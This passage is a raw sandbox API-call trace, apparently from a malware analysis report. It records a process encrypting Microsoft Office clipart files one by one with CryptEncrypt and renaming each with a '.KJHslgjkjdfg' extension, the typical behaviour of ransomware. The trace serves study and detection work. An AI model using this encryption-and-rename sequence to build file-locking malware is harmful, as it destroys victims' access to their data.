office\\clipart\\pub60cor\\j0099154.jpg.kjhslgjkjdfg")) returned 1 [0197.680] CloseHandle (hObject=0x130) returned 1 [0197.680] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x227a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099155.JPG", cAlternateFileName="")) returned 1 [0197.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.681] GetProcessHeap () returned 0x2ef0000 [0197.681] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.681] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.681] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.681] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0197.684] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.684] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.684] GetProcessHeap () returned 0x2ef0000 [0197.684] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.684] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.684] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.684] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.684] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.684] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.684] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.684] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.684] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.684] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.685] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.685] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.685] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x227a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x227a, lpOverlapped=0x0) returned 1 [0197.686] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2280, dwBufLen=0x2280 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2280) returned 1 [0197.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.686] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2280, lpOverlapped=0x0) returned 1 [0197.686] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.686] SetEndOfFile (hFile=0x130) returned 1 [0197.689] GetProcessHeap () returned 0x2ef0000 [0197.689] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.689] GetProcessHeap () returned 0x2ef0000 [0197.689] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.689] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.kjhslgjkjdfg")) returned 1 [0197.690] CloseHandle (hObject=0x130) returned 1 [0197.690] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3682, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099156.JPG", cAlternateFileName="")) returned 1 [0197.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.691] GetProcessHeap () returned 0x2ef0000 [0197.691] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.691] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.691] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.692] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0197.694] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.694] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.694] GetProcessHeap () returned 0x2ef0000 [0197.694] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.694] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.694] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.694] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.694] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.694] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.694] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.695] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.695] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.695] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.695] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.695] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3682, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3682, lpOverlapped=0x0) returned 1 [0197.696] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3690, dwBufLen=0x3690 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3690) returned 1 [0197.696] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.696] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3690, lpOverlapped=0x0) returned 1 [0197.696] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.696] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.696] SetEndOfFile (hFile=0x130) returned 1 [0197.699] GetProcessHeap () returned 0x2ef0000 [0197.699] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.699] GetProcessHeap () returned 0x2ef0000 [0197.699] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.699] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.kjhslgjkjdfg")) returned 1 [0197.700] CloseHandle (hObject=0x130) returned 1 [0197.700] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x25c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099157.JPG", cAlternateFileName="")) returned 1 [0197.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.701] GetProcessHeap () returned 0x2ef0000 [0197.701] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.701] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.701] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.701] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x9, lpOverlapped=0x0) returned 1 [0197.703] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.703] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.703] GetProcessHeap () returned 0x2ef0000 [0197.704] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.704] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.704] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.704] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.704] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.704] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.704] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.704] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.704] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.704] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.704] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.704] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.704] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x25c7, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x25c7, lpOverlapped=0x0) returned 1 [0197.705] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x25d0, dwBufLen=0x25d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x25d0) returned 1 [0197.706] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.706] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x25d0, lpOverlapped=0x0) returned 1 [0197.706] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.706] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x26a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.706] SetEndOfFile (hFile=0x130) returned 1 [0197.709] GetProcessHeap () returned 0x2ef0000 [0197.709] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.709] GetProcessHeap () returned 0x2ef0000 [0197.709] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.709] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.kjhslgjkjdfg")) returned 1 [0197.710] CloseHandle (hObject=0x130) returned 1 [0197.710] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x6630, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099158.WMF", cAlternateFileName="")) returned 1 [0197.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.711] GetProcessHeap () returned 0x2ef0000 [0197.711] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.711] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.711] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.711] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.711] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.711] GetProcessHeap () returned 0x2ef0000 [0197.711] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.711] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.711] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.711] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.713] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.713] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.713] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.714] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.714] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.714] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.714] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.714] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.714] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6630, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6630, lpOverlapped=0x0) returned 1 [0197.715] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6630, dwBufLen=0x6630 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6630) returned 1 [0197.715] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.715] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6630, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6630, lpOverlapped=0x0) returned 1 [0197.716] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.716] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.716] SetEndOfFile (hFile=0x130) returned 1 [0197.718] GetProcessHeap () returned 0x2ef0000 [0197.718] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.719] GetProcessHeap () returned 0x2ef0000 [0197.719] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.719] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.kjhslgjkjdfg")) returned 1 [0197.720] CloseHandle (hObject=0x130) returned 1 [0197.720] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x6b9a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099159.WMF", cAlternateFileName="")) returned 1 [0197.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.720] GetProcessHeap () returned 0x2ef0000 [0197.720] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.721] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.721] SetFilePointerEx (in: 